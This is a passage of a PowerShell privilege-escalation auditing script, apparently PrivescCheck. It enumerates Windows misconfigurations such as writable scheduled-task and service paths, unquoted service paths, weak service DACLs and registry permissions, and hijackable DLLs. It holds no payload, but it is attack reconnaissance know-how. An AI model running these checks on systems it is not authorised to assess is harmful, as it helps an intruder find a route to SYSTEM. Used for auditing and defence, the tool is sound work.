5617 <#
5618 .SYNOPSIS
5619
5620 Enumerates startup applications that can be modified by the current user
5621
5622 Author: @itm4n
5623 License: BSD 3-Clause
5624
5625 .DESCRIPTION
5626
5627 Some applications can be set as "startup" applications for all users. If a user can modify one
5628 of these apps, they would potentially be able to run arbitrary code in the context of other
5629 users. Therefore, low-privileged users should not be able to modify the files used by such
5630 application.
5631
5632 #>
5633
5634 Invoke-ApplicationsOnStartupCheck | Where-Object { $_.IsModifiable }
5635 }
5636
5637 function Invoke-ScheduledTasksImagePermissionsCheck {
5638 <#
5639 .SYNOPSIS
5640
5641 Enumrates scheduled tasks with a modifiable path
5642
5643 Author: @itm4n
5644 License: BSD 3-Clause
5645
5646 .DESCRIPTION
5647
5648 This function enumerates all the scheduled tasks which are visible by the current user but are
5649 not owned by the current user. For each task, it extracts the command line and checks whether
5650 it contains a path pointing to a modifiable file. If a task is run as the current user, it is
5651 filtered out.
5652
5653 .EXAMPLE
5654
5655 PS C:\> Invoke-ScheduledTasksImagePermissionsCheck
5656
5657 TaskName : DummyTask
5658 TaskPath : \CustomTasks\DummyTask
5659 TaskFile : C:\Windows\System32\Tasks\CustomTasks\DummyTask
5660 RunAs : NT AUTHORITY\SYSTEM
5661 Command : C:\APPS\MyTask.exe
5662 CurrentUserIsOwner : False
5663 ModifiablePath : C:\APPS\
5664 IdentityReference : NT AUTHORITY\Authenticated Users
5665 Permissions : {Delete, WriteAttributes, Synchronize, ReadControl...}
5666
5667 #>
5668
5669 [CmdletBinding()] param()
5670
5671 Get-ScheduledTaskList | Where-Object { -not $_.CurrentUserIsOwner } | ForEach-Object {
5672
5673 $CurrentTask = $_
5674
5675 $CurrentTask.Command | Get-ModifiablePath | Where-Object {$_ -and $_.ModifiablePath -and ($_.ModifiablePath -ne '')} | ForEach-Object {
5676
5677 $CurrentTask | Add-Member -MemberType "NoteProperty" -Name "ModifiablePath" -Value $_.ModifiablePath
5678 $CurrentTask | Add-Member -MemberType "NoteProperty" -Name "IdentityReference" -Value $_.IdentityReference
5679 $CurrentTask | Add-Member -MemberType "NoteProperty" -Name "Permissions" -Value $_.Permissions
5680 $CurrentTask
5681 }
5682 }
5683 }
5684
5685 function Invoke-ScheduledTasksUnquotedPathCheck {
5686 <#
5687 .SYNOPSIS
5688
5689 Enumerates scheduled tasks with an exploitable unquoted path
5690
5691 Author: @itm4n
5692 License: BSD 3-Clause
5693
5694 .DESCRIPTION
5695
5696 This script first enumerates all the tasks that are visible to the current user. Then, it checks the 'Command' value to see if it is not surrounded by quotes (unquoted path). If so, it checks whether the path contains spaces and if one of the intermediate directories is exploitable. Note that, as a low privileged user, not all the tasks are visible.
5697
5698 .EXAMPLE
5699
5700 PS C:\> Invoke-ScheduledTasksUnquotedPathCheck
5701
5702 TaskName : VulnTask
5703 TaskPath : \CustomTasks\VulnTask
5704 TaskFile : C:\WINDOWS\System32\Tasks\CustomTasks\VulnTask
5705 RunAs : NT AUTHORITY\SYSTEM
5706 Command : C:\APPS\Custom Tasks\task.exe
5707 CurrentUserIsOwner : False
5708 ModifiablePath : C:\APPS
5709 IdentityReference : NT AUTHORITY\Authenticated Users
5710 Permissions : {Delete, WriteAttributes, Synchronize, ReadControl...}
5711
5712 #>
5713
5714 [CmdletBinding()] param()
5715
5716 Get-ScheduledTaskList | Where-Object { -not $_.CurrentUserIsOwner } | ForEach-Object {
5717
5718 $CurrentTask = $_
5719
5720 Get-ExploitableUnquotedPath -Path $CurrentTask.Command | ForEach-Object {
5721
5722 $CurrentTask | Add-Member -MemberType "NoteProperty" -Name "ModifiablePath" -Value $_.ModifiablePath
5723 $CurrentTask | Add-Member -MemberType "NoteProperty" -Name "IdentityReference" -Value $_.IdentityReference
5724 $CurrentTask | Add-Member -MemberType "NoteProperty" -Name "Permissions" -Value $_.Permissions
5725 $CurrentTask
5726 }
5727 }
5728 }
5729
5730 function Invoke-RunningProcessCheck {
5731 <#
5732 .SYNOPSIS
5733
5734 Enumerates the running processes
5735
5736 Author: @itm4n
5737 License: BSD 3-Clause
5738
5739 .DESCRIPTION
5740
5741 First, it lists all the processes thanks to the built-in "Get-Process" function. Then, it
5742 filters the result in order to return only the non-default Windows processes. By default,
5743 this function returns only process that are NOT owned by teh current user but you can
5744 use the "-Self" flag to get them.
5745
5746 .PARAMETER Self
5747
5748 Use this flag to get a list of all the process owned by the current user
5749
5750 .EXAMPLE
5751
5752 PS C:\> Invoke-RunningProcessCheck | ft
5753
5754 Name PID User Path SessionId
5755 ---- --- ---- ---- ---------
5756 cmd 4224 N/A 1
5757 conhost 5336 N/A 1
5758 ctfmon 7436 N/A 1
5759 dllhost 3584 N/A 0
5760 dllhost 4172 N/A 1
5761 fontdrvhost 860 N/A 0
5762 fontdrvhost 928 N/A 1
5763 lsass 732 N/A 0
5764 MsMpEng 3524 N/A 0
5765 MsMpEngCP 1132 N/A 0
5766 NisSrv 4256 N/A 0
5767 regedit 8744 N/A 1
5768 SearchFilterHost 9360 N/A 0
5769 SearchIndexer 596 N/A 0
5770 SearchProtocolHost 32 N/A 0
5771 SecurityHealthService 7980 N/A 0
5772 SgrmBroker 9512 N/A 0
5773 spoolsv 2416 N/A 0
5774 TabTip 7456 N/A 1
5775 wininit 564 N/A 0
5776 winlogon 676 N/A 1
5777 WmiPrvSE 3972 N/A 0
5778
5779 #>
5780
5781 [CmdletBinding()] param(
5782 [switch]
5783 $Self = $False
5784 )
5785
5786 $CurrentUser = $CurrentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
5787
5788 $IgnoredProcessNames = @("Idle", "services", "Memory Compression", "TrustedInstaller", "PresentationFontCache", "Registry", "ServiceShell", "System",
5789 "csrss", # Client/Server Runtime Subsystem
5790 "dwm", # Desktop Window Manager
5791 "msdtc", # Microsoft Distributed Transaction Coordinator
5792 "smss", # Session Manager Subsystem
5793 "svchost" # Service Host
5794 )
5795
5796 $AllProcess = Get-Process
5797
5798 ForEach ($Process in $AllProcess) {
5799
5800 if (-not ($IgnoredProcessNames -contains $Process.Name )) {
5801
5802 $ProcessUser = (Get-UserFromProcess -ProcessId $Process.Id).DisplayName
5803
5804 $ReturnProcess = $False
5805
5806 if ($Self) {
5807 if ($ProcessUser -eq $CurrentUser) {
5808 $ReturnProcess = $True
5809 }
5810 } else {
5811 if (-not ($ProcessUser -eq $CurrentUser)) {
5812
5813 # Here, I check whether 'C:\Windows\System32\<PROC_NAME>.exe' exists
5814 # Not ideal but it's a quick way to check whether it's a built-in binary.
5815 # There might be some issues because of the FileSystem Redirector if the script is
5816 # run from a 32-bits instance of powershell.exe (-> SysWow64 instead of System32).
5817 $PotentialImagePath = Join-Path -Path $env:SystemRoot -ChildPath "System32"
5818 $PotentialImagePath = Join-Path -Path $PotentialImagePath -ChildPath "$($Process.name).exe"
5819
5820 # If we can't find it in System32, add it to the list
5821 if (-not (Test-Path -Path $PotentialImagePath)) {
5822 $ReturnProcess = $True
5823 }
5824 $ReturnProcess = $True
5825 }
5826 }
5827
5828 if ($ReturnProcess) {
5829 $RunningProcess = New-Object -TypeName PSObject
5830 $RunningProcess | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $Process.Name
5831 $RunningProcess | Add-Member -MemberType "NoteProperty" -Name "PID" -Value $Process.Id
5832 $RunningProcess | Add-Member -MemberType "NoteProperty" -Name "User" -Value $(if ($ProcessUser) { $ProcessUser } else { "N/A" })
5833 $RunningProcess | Add-Member -MemberType "NoteProperty" -Name "Path" -Value $Process.Path
5834 $RunningProcess | Add-Member -MemberType "NoteProperty" -Name "SessionId" -Value $Process.SessionId
5835 $RunningProcess
5836 }
5837
5838 } else {
5839 Write-Verbose "Ignored: $($Process.Name)"
5840 }
5841 }
5842 }
5843 # ----------------------------------------------------------------
5844 # END INSTALLED PROGRAMS
5845 # ----------------------------------------------------------------
5846
5847 # ----------------------------------------------------------------
5848 # BEGIN SERVICES
5849 # ----------------------------------------------------------------
5850 function Test-ServiceDaclPermission {
5851 <#
5852 .SYNOPSIS
5853
5854 Tests one or more passed services or service names against a given permission set,
5855 returning the service objects where the current user have the specified permissions.
5856
5857 Author: @harmj0y, Matthew Graeber
5858 License: BSD 3-Clause
5859
5860 .DESCRIPTION
5861
5862 Takes a service Name or a ServiceProcess.ServiceController on the pipeline, and first adds
5863 a service Dacl to the service object with Add-ServiceDacl. All group SIDs for the current
5864 user are enumerated services where the user has some type of permission are filtered. The
5865 services are then filtered against a specified set of permissions, and services where the
5866 current user have the specified permissions are returned.
5867
5868 .PARAMETER Name
5869
5870 An array of one or more service names to test against the specified permission set.
5871
5872 .PARAMETER Permissions
5873
5874 A manual set of permission to test again. One of:'QueryConfig', 'ChangeConfig', 'QueryStatus',
5875 'EnumerateDependents', 'Start', 'Stop', 'PauseContinue', 'Interrogate', UserDefinedControl',
5876 'Delete', 'ReadControl', 'WriteDac', 'WriteOwner', 'Synchronize', 'AccessSystemSecurity',
5877 'GenericAll', 'GenericExecute', 'GenericWrite', 'GenericRead', 'AllAccess'
5878
5879 .PARAMETER PermissionSet
5880
5881 A pre-defined permission set to test a specified service against. 'ChangeConfig', 'Restart', or 'AllAccess'.
5882
5883 .OUTPUTS
5884
5885 ServiceProcess.ServiceController
5886
5887 .EXAMPLE
5888
5889 PS C:\> Get-Service | Test-ServiceDaclPermission
5890
5891 Return all service objects where the current user can modify the service configuration.
5892
5893 .EXAMPLE
5894
5895 PS C:\> Get-Service | Test-ServiceDaclPermission -PermissionSet 'Restart'
5896
5897 Return all service objects that the current user can restart.
5898
5899
5900 .EXAMPLE
5901
5902 PS C:\> Test-ServiceDaclPermission -Permissions 'Start' -Name 'VulnSVC'
5903
5904 Return the VulnSVC object if the current user has start permissions.
5905
5906 .LINK
5907 https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/
5908 #>
5909 [OutputType('ServiceProcess.ServiceController')]
5910 param (
5911 [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
5912 [Alias('ServiceName')]
5913 [String[]]
5914 [ValidateNotNullOrEmpty()]
5915 $Name,
5916
5917 [String[]]
5918 [ValidateSet('QueryConfig', 'ChangeConfig', 'QueryStatus', 'EnumerateDependents', 'Start', 'Stop', 'PauseContinue', 'Interrogate', 'UserDefinedControl', 'Delete', 'ReadControl', 'WriteDac', 'WriteOwner', 'Synchronize', 'AccessSystemSecurity', 'GenericAll', 'GenericExecute', 'GenericWrite', 'GenericRead', 'AllAccess')]
5919 $Permissions,
5920
5921 [String]
5922 [ValidateSet('ChangeConfig', 'Restart', 'AllAccess')]
5923 $PermissionSet = 'ChangeConfig'
5924 )
5925
5926 BEGIN {
5927 $AccessMask = @{
5928 'QueryConfig' = [uint32]'0x00000001'
5929 'ChangeConfig' = [uint32]'0x00000002'
5930 'QueryStatus' = [uint32]'0x00000004'
5931 'EnumerateDependents' = [uint32]'0x00000008'
5932 'Start' = [uint32]'0x00000010'
5933 'Stop' = [uint32]'0x00000020'
5934 'PauseContinue' = [uint32]'0x00000040'
5935 'Interrogate' = [uint32]'0x00000080'
5936 'UserDefinedControl' = [uint32]'0x00000100'
5937 'Delete' = [uint32]'0x00010000'
5938 'ReadControl' = [uint32]'0x00020000'
5939 'WriteDac' = [uint32]'0x00040000'
5940 'WriteOwner' = [uint32]'0x00080000'
5941 'Synchronize' = [uint32]'0x00100000'
5942 'AccessSystemSecurity' = [uint32]'0x01000000'
5943 'GenericAll' = [uint32]'0x10000000'
5944 'GenericExecute' = [uint32]'0x20000000'
5945 'GenericWrite' = [uint32]'0x40000000'
5946 'GenericRead' = [uint32]'0x80000000'
5947 'AllAccess' = [uint32]'0x000F01FF'
5948 }
5949
5950 $CheckAllPermissionsInSet = $False
5951
5952 if($PSBoundParameters['Permissions']) {
5953 $TargetPermissions = $Permissions
5954 }
5955 else {
5956 if($PermissionSet -eq 'ChangeConfig') {
5957 $TargetPermissions = @('ChangeConfig', 'WriteDac', 'WriteOwner', 'GenericAll', ' GenericWrite', 'AllAccess')
5958 }
5959 elseif($PermissionSet -eq 'Restart') {
5960 $TargetPermissions = @('Start', 'Stop')
5961 $CheckAllPermissionsInSet = $True # so we check all permissions && style
5962 }
5963 elseif($PermissionSet -eq 'AllAccess') {
5964 $TargetPermissions = @('GenericAll', 'AllAccess')
5965 }
5966 }
5967 }
5968
5969 PROCESS {
5970
5971 ForEach($IndividualService in $Name) {
5972
5973 $TargetService = $IndividualService | Add-ServiceDacl
5974
5975 # We might not be able to access the Service at all so we must check whether Add-ServiceDacl returned something.
5976 if ($TargetService -and $TargetService.Dacl) {
5977
5978 # Enumerate all group SIDs the current user is a part of
5979 $UserIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent()
5980 $CurrentUserSids = $UserIdentity.Groups | Select-Object -ExpandProperty Value
5981 $CurrentUserSids += $UserIdentity.User.Value
5982
5983 # Check all the Dacl objects of the current service
5984 ForEach($ServiceDacl in $TargetService.Dacl) {
5985
5986 $MatchingDaclFound = $False
5987
5988 # A Dacl object contains two properties we want to check: a SID and a list of AccessRights
5989 # First, we want to check if the current Dacl SID is in the list of SIDs of the current user
5990 if($CurrentUserSids -contains $ServiceDacl.SecurityIdentifier) {
5991
5992 if($CheckAllPermissionsInSet) {
5993
5994 # If a Permission Set was specified, we want to make sure that we have all the necessary access rights
5995 $AllMatched = $True
5996 ForEach($TargetPermission in $TargetPermissions) {
5997 # check permissions && style
5998 if (($ServiceDacl.AccessRights -band $AccessMask[$TargetPermission]) -ne $AccessMask[$TargetPermission]) {
5999 # Write-Verbose "Current user doesn't have '$TargetPermission' for $($TargetService.Name)"
6000 $AllMatched = $False
6001 break
6002 }
6003 }
6004 if($AllMatched) {
6005 $TargetService
6006 $MatchingDaclFound = $True
6007 }
6008 } else {
6009
6010 ForEach($TargetPermission in $TargetPermissions) {
6011 # check permissions || style
6012 if (($ServiceDacl.AceType -eq 'AccessAllowed') -and ($ServiceDacl.AccessRights -band $AccessMask[$TargetPermission]) -eq $AccessMask[$TargetPermission]) {
6013 Write-Verbose "Current user has '$TargetPermission' permission for $IndividualService"
6014 $TargetService
6015 $MatchingDaclFound = $True
6016 break
6017 }
6018 }
6019 }
6020 }
6021
6022 if ($MatchingDaclFound) {
6023 # As soon as we find a matching Dacl, we can stop searching
6024 break
6025 }
6026 }
6027 } else {
6028 Write-Verbose "Error enumerating the Dacl for service $IndividualService"
6029 }
6030 }
6031 }
6032 }
6033
6034 function Invoke-InstalledServicesCheck {
6035 <#
6036 .SYNOPSIS
6037
6038 Enumerates non-default services
6039
6040 Author: @itm4n
6041 License: BSD 3-Clause
6042
6043 .DESCRIPTION
6044
6045 It uses the custom "Get-ServiceList" function to get a filtered list of services that are
6046 configured on the local machine. Then it returns each result in a custom PS object,
6047 indicating the name, display name, binary path, user and start mode of the service.
6048
6049 .EXAMPLE
6050
6051 PS C:\> Invoke-InstalledServicesCheck | ft
6052
6053 Name DisplayName ImagePath User StartMode
6054 ---- ----------- --------- ---- ---------
6055 VMTools VMware Tools "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" LocalSystem Automatic
6056
6057 #>
6058
6059 [CmdletBinding()] param()
6060
6061 $InstalledServicesResult = New-Object -TypeName System.Collections.ArrayList
6062
6063 # Get only third-party services
6064 $FilteredServices = Get-ServiceList -FilterLevel 3
6065 Write-Verbose "Enumerating $($FilteredServices.Count) services..."
6066
6067 ForEach ($Service in $FilteredServices) {
6068 # Make a simplified version of the Service object, we only basic information for ths check.
6069 $ServiceItem = New-Object -TypeName PSObject
6070 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $Service.Name
6071 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "DisplayName" -Value $Service.DisplayName
6072 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "ImagePath" -Value $Service.ImagePath
6073 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "User" -Value $Service.User
6074 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "StartMode" -Value $Service.StartMode
6075 #$ServiceItem | Add-Member -MemberType "NoteProperty" -Name "Type" -Value $Service.Type
6076 [void]$InstalledServicesResult.Add($ServiceItem)
6077 }
6078
6079 $InstalledServicesResult
6080 }
6081
6082 function Invoke-ServicesPermissionsRegistryCheck {
6083 <#
6084 .SYNOPSIS
6085
6086 Checks the permissions of the service settings in the registry
6087
6088 Author: @itm4n
6089 License: BSD 3-Clause
6090
6091 .DESCRIPTION
6092
6093 The configuration of the services is maintained in the registry. Being able to modify these
6094 registry keys means being able to change the settings of a service. In addition, a complete
6095 machine reboot isn't necessary for these settings to be taken into account. Only the affected
6096 service needs to be restarted.
6097
6098 .EXAMPLE
6099
6100 PS C:\> Invoke-ServicesPermissionsRegistryCheck
6101
6102 Name : VulnService
6103 ImagePath : C:\APPS\MyApp\service.exe
6104 User : LocalSystem
6105 ModifiablePath : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VulnService}
6106 IdentityReference : BUILTIN\Users
6107 Permissions : {WriteOwner, Delete, ReadControl, ReadData/ListDirectory...}
6108 Status : Unknown
6109 UserCanStart : False
6110 UserCanRestart : False
6111
6112 #>
6113
6114 [CmdletBinding()] param()
6115
6116 # Get all services except the ones with an empty ImagePath or Drivers
6117 $AllServices = Get-ServiceList -FilterLevel 2
6118 Write-Verbose "Enumerating $($AllServices.Count) services..."
6119
6120 ForEach ($Service in $AllServices) {
6121
6122 Get-ModifiableRegistryPath -Path $Service.RegistryPath | Where-Object {$_ -and $_.ModifiablePath -and ($_.ModifiablePath -ne '')} | Foreach-Object {
6123
6124 $Status = "Unknown"
6125 # Can we restart the service?
6126 $ServiceRestart = Test-ServiceDaclPermission -Name $Service.Name -PermissionSet 'Restart'
6127 if ($ServiceRestart) { $UserCanRestart = $True; $Status = $ServiceRestart.Status } else { $UserCanRestart = $False }
6128
6129 # Can we start the service?
6130 $ServiceStart = Test-ServiceDaclPermission -Name $Service.Name -Permissions 'Start'
6131 if ($ServiceStart) { $UserCanStart = $True; $Status = $ServiceStart.Status } else { $UserCanStart = $False }
6132
6133 $ServiceItem = New-Object -TypeName PSObject
6134 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $Service.Name
6135 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "ImagePath" -Value $Service.ImagePath
6136 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "User" -Value $Service.User
6137 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "ModifiablePath" -Value $_.ModifiablePath
6138 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "IdentityReference" -Value $_.IdentityReference
6139 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "Permissions" -Value $_.Permissions
6140 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "Status" -Value $Status
6141 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "UserCanStart" -Value $UserCanStart
6142 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "UserCanRestart" -Value $UserCanRestart
6143 $ServiceItem
6144 }
6145 }
6146 }
6147
6148 function Invoke-ServicesUnquotedPathCheck {
6149 <#
6150 .SYNOPSIS
6151
6152 Enumerates all the services with an unquoted path. For each one of them, enumerates paths that
6153 the current user can modify. Based on the original "Get-ServiceUnquoted" function from
6154 PowerUp.
6155
6156 Author: @itm4n
6157 License: BSD 3-Clause
6158
6159 .DESCRIPTION
6160
6161 In my version of this function, I tried to eliminate as much false positives as possible.
6162 PowerUp tends to report "C:\" as exploitable whenever a program located in "C:\Program
6163 Files" is identified. The problem is that we cannot write "C:\program.exe" so the service
6164 wouldn't be exploitable. We can only create folders in "C:\" by default.
6165
6166 .EXAMPLE
6167
6168 PS C:\> Invoke-ServicesUnquotedPathCheck
6169
6170 Name : VulnService
6171 ImagePath : C:\APPS\My App\service.exe
6172 User : LocalSystem
6173 ModifiablePath : C:\APPS
6174 IdentityReference : NT AUTHORITY\Authenticated Users
6175 Permissions : {Delete, WriteAttributes, Synchronize, ReadControl...}
6176 Status : Unknown
6177 UserCanStart : False
6178 UserCanRestart : False
6179
6180 #>
6181
6182 [CmdletBinding()] param()
6183
6184 # Get all services which have a non-empty ImagePath (exclude drivers as well)
6185 $Services = Get-ServiceList -FilterLevel 2
6186 Write-Verbose "Enumerating $($Services.Count) services..."
6187
6188 # $PermissionsAddFile = @("WriteData/AddFile", "DeleteChild", "WriteDAC", "WriteOwner")
6189 # $PermissionsAddFolder = @("AppendData/AddSubdirectory", "DeleteChild", "WriteDAC", "WriteOwner")
6190
6191 ForEach ($Service in $Services) {
6192
6193 $ImagePath = $Service.ImagePath.trim()
6194
6195 Get-ExploitableUnquotedPath -Path $ImagePath | ForEach-Object {
6196
6197 $Status = "Unknown"
6198 # Can we restart the service?
6199 $ServiceRestart = Test-ServiceDaclPermission -Name $Service.Name -PermissionSet 'Restart'
6200 if ($ServiceRestart) { $UserCanRestart = $True; $Status = $ServiceRestart.Status } else { $UserCanRestart = $False }
6201
6202 # Can we start the service?
6203 $ServiceStart = Test-ServiceDaclPermission -Name $Service.Name -Permissions 'Start'
6204 if ($ServiceStart) { $UserCanStart = $True; $Status = $ServiceStart.Status } else { $UserCanStart = $False }
6205
6206 $ServiceItem = New-Object -TypeName PSObject
6207 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $Service.Name
6208 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "ImagePath" -Value $Service.ImagePath
6209 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "User" -Value $Service.User
6210 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "ModifiablePath" -Value $_.ModifiablePath
6211 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "IdentityReference" -Value $_.IdentityReference
6212 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "Permissions" -Value $_.Permissions
6213 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "Status" -Value $Status
6214 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "UserCanStart" -Value $UserCanStart
6215 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "UserCanRestart" -Value $UserCanRestart
6216 $ServiceItem
6217 }
6218 }
6219 }
6220
6221 function Invoke-ServicesImagePermissionsCheck {
6222 <#
6223 .SYNOPSIS
6224
6225 Enumerates all the services that have a modifiable binary (or argument)
6226
6227 Author: @itm4n
6228 License: BSD 3-Clause
6229
6230 .DESCRIPTION
6231
6232 FIrst, it enumerates the services thanks to the custom "Get-ServiceList" function. For each
6233 result, it checks the permissions of the ImagePath setting thanks to the "Get-ModifiablePath"
6234 function. Each result is returned in a custom PS object.
6235
6236 .EXAMPLE
6237
6238 PS C:\> Invoke-ServicesImagePermissionsCheck
6239
6240 Name : VulneService
6241 ImagePath : C:\APPS\service.exe
6242 User : LocalSystem
6243 ModifiablePath : C:\APPS\service.exe
6244 IdentityReference : NT AUTHORITY\Authenticated Users
6245 Permissions : {Delete, WriteAttributes, Synchronize, ReadControl...}
6246 Status : Unknown
6247 UserCanStart : False
6248 UserCanRestart : False
6249
6250 #>
6251
6252 [CmdletBinding()] param()
6253
6254 $Services = Get-ServiceList -FilterLevel 1
6255 Write-Verbose "Enumerating $($Services.Count) services..."
6256
6257 ForEach ($Service in $Services) {
6258
6259 $Service.ImagePath | Get-ModifiablePath | Where-Object {$_ -and $_.ModifiablePath -and ($_.ModifiablePath -ne '')} | Foreach-Object {
6260
6261 $Status = "Unknown"
6262 # Can we restart the service?
6263 $ServiceRestart = Test-ServiceDaclPermission -Name $Service.Name -PermissionSet 'Restart'
6264 if ($ServiceRestart) { $UserCanRestart = $True; $Status = $ServiceRestart.Status } else { $UserCanRestart = $False }
6265
6266 # Can we start the service?
6267 $ServiceStart = Test-ServiceDaclPermission -Name $Service.Name -Permissions 'Start'
6268 if ($ServiceStart) { $UserCanStart = $True; $Status = $ServiceStart.Status } else { $UserCanStart = $False }
6269
6270 $ServiceItem = New-Object -TypeName PSObject
6271 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $Service.Name
6272 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "ImagePath" -Value $Service.ImagePath
6273 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "User" -Value $Service.User
6274 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "ModifiablePath" -Value $_.ModifiablePath
6275 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "IdentityReference" -Value $_.IdentityReference
6276 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "Permissions" -Value $_.Permissions
6277 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "Status" -Value $Status
6278 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "UserCanStart" -Value $UserCanStart
6279 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "UserCanRestart" -Value $UserCanRestart
6280 $ServiceItem
6281 }
6282 }
6283 }
6284
6285 function Invoke-ServicesPermissionsCheck {
6286 <#
6287 .SYNOPSIS
6288
6289 Enumerates the services the current can modify through the service manager. In addition, it
6290 shows whether the service can be started/restarted.
6291
6292 Author: @itm4n
6293 License: BSD 3-Clause
6294
6295 .DESCRIPTION
6296
6297 This is based on the original "Get-ModifiableService" from PowerUp.
6298
6299 .LINK
6300
6301 https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
6302
6303 #>
6304
6305 [CmdletBinding()] param()
6306
6307 # Get-ServiceList returns a list of custom Service objects
6308 # The properties of a custom Service object are: Name, DisplayName, User, ImagePath, StartMode, Type, RegsitryKey, RegistryPath
6309 # We also apply the FilterLevel 1 to filter out services which have an empty ImagePath
6310 $Services = Get-ServiceList -FilterLevel 1
6311 Write-Verbose "Enumerating $($Services.Count) services..."
6312
6313 # For each custom Service object in the list
6314 ForEach ($Service in $Services) {
6315
6316 # Get a 'real' Service object and the associated DACL, based on its name
6317 $TargetService = Test-ServiceDaclPermission -Name $Service.Name -PermissionSet 'ChangeConfig'
6318
6319 if ($TargetService) {
6320
6321 $ServiceRestart = Test-ServiceDaclPermission -Name $Service.Name -PermissionSet 'Restart'
6322 if ($ServiceRestart) { $UserCanRestart = $True } else { $UserCanRestart = $False }
6323
6324 $ServiceStart = Test-ServiceDaclPermission -Name $Service.Name -Permissions 'Start'
6325 if ($ServiceStart) { $UserCanStart = $True } else { $UserCanStart = $False }
6326
6327 $ServiceItem = New-Object -TypeName PSObject
6328 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $Service.Name
6329 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "ImagePath" -Value $Service.ImagePath
6330 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "User" -Value $Service.User
6331 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "Status" -Value $TargetService.Status
6332 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "UserCanStart" -Value $UserCanStart
6333 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "UserCanRestart" -Value $UserCanRestart
6334 $ServiceItem
6335 }
6336 }
6337 }
6338 # ----------------------------------------------------------------
6339 # END SERVICES
6340 # ----------------------------------------------------------------
6341
6342 # ----------------------------------------------------------------
6343 # BEGIN DLL HIJACKING
6344 # ----------------------------------------------------------------
6345 function Invoke-DllHijackingCheck {
6346 <#
6347 .SYNOPSIS
6348
6349 Checks whether any of the system path folders is modifiable
6350
6351 Author: @itm4n
6352 License: BSD 3-Clause
6353
6354 .DESCRIPTION
6355
6356 First, it reads the system environment PATH from the registry. Then, for each entry, it checks
6357 whether the current user has write permissions.
6358
6359 #>
6360
6361 [CmdletBinding()] param()
6362
6363 $SystemPath = (Get-ItemProperty -Path "Registry::HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" -Name "Path").Path
6364 $Paths = $SystemPath.Split(';')
6365
6366 ForEach ($Path in $Paths) {
6367 if ($Path -and $Path -ne '') {
6368 $Path | Get-ModifiablePath -LiteralPaths | Where-Object {$_ -and $_.ModifiablePath -and ($_.ModifiablePath -ne '')} | Foreach-Object {
6369 $Item = New-Object -TypeName PSObject
6370 $Item | Add-Member -MemberType "NoteProperty" -Name "Path" -Value $Path
6371 $Item | Add-Member -MemberType "NoteProperty" -Name "ModifiablePath" -Value $_.ModifiablePath
6372 $Item | Add-Member -MemberType "NoteProperty" -Name "IdentityReference" -Value $_.IdentityReference
6373 $Item | Add-Member -MemberType "NoteProperty" -Name "Permissions" -Value $_.Permissions
6374 $Item
6375 }
6376 }
6377 }
6378 }
6379
6380 function Invoke-HijackableDllsCheck {
6381 <#
6382 .SYNOPSIS
6383
6384 Lists hijackable DLLs depending on the version of the OS
6385
6386 Author: @itm4n
6387 License: BSD 3-Clause
6388
6389 .DESCRIPTION
6390
6391 On Windows, some services load DLLs without using a "secure" search path. Therefore, they
6392 try to load them from the folders listing in the %PATH% environment variable. If one of these
6393 folders is configured with weak permissions, a local attacker may plant a malicious version of
6394 a DLL in order to execute arbitrary code in the context of the service.
6395
6396 .EXAMPLE
6397
6398 PS C:\> Invoke-HijackableDllsCheck
6399
6400 Name : cdpsgshims.dll
6401 Description : Loaded by CDPSvc upon service startup
6402 RunAs : NT AUTHORITY\LOCAL SERVICE
6403 RebootRequired : True
6404
6405 .EXAMPLE
6406
6407 PS C:\> Invoke-HijackableDllsCheck
6408
6409 Name : windowsperformancerecordercontrol.dll
6410 Description : Loaded by DiagTrack upon service startup or shutdown
6411 RunAs : NT AUTHORITY\SYSTEM
6412 RebootRequired : True
6413
6414 Name : diagtrack_win.dll
6415 Description : Loaded by DiagTrack upon service startup
6416 RunAs : NT AUTHORITY\SYSTEM
6417 RebootRequired : True
6418
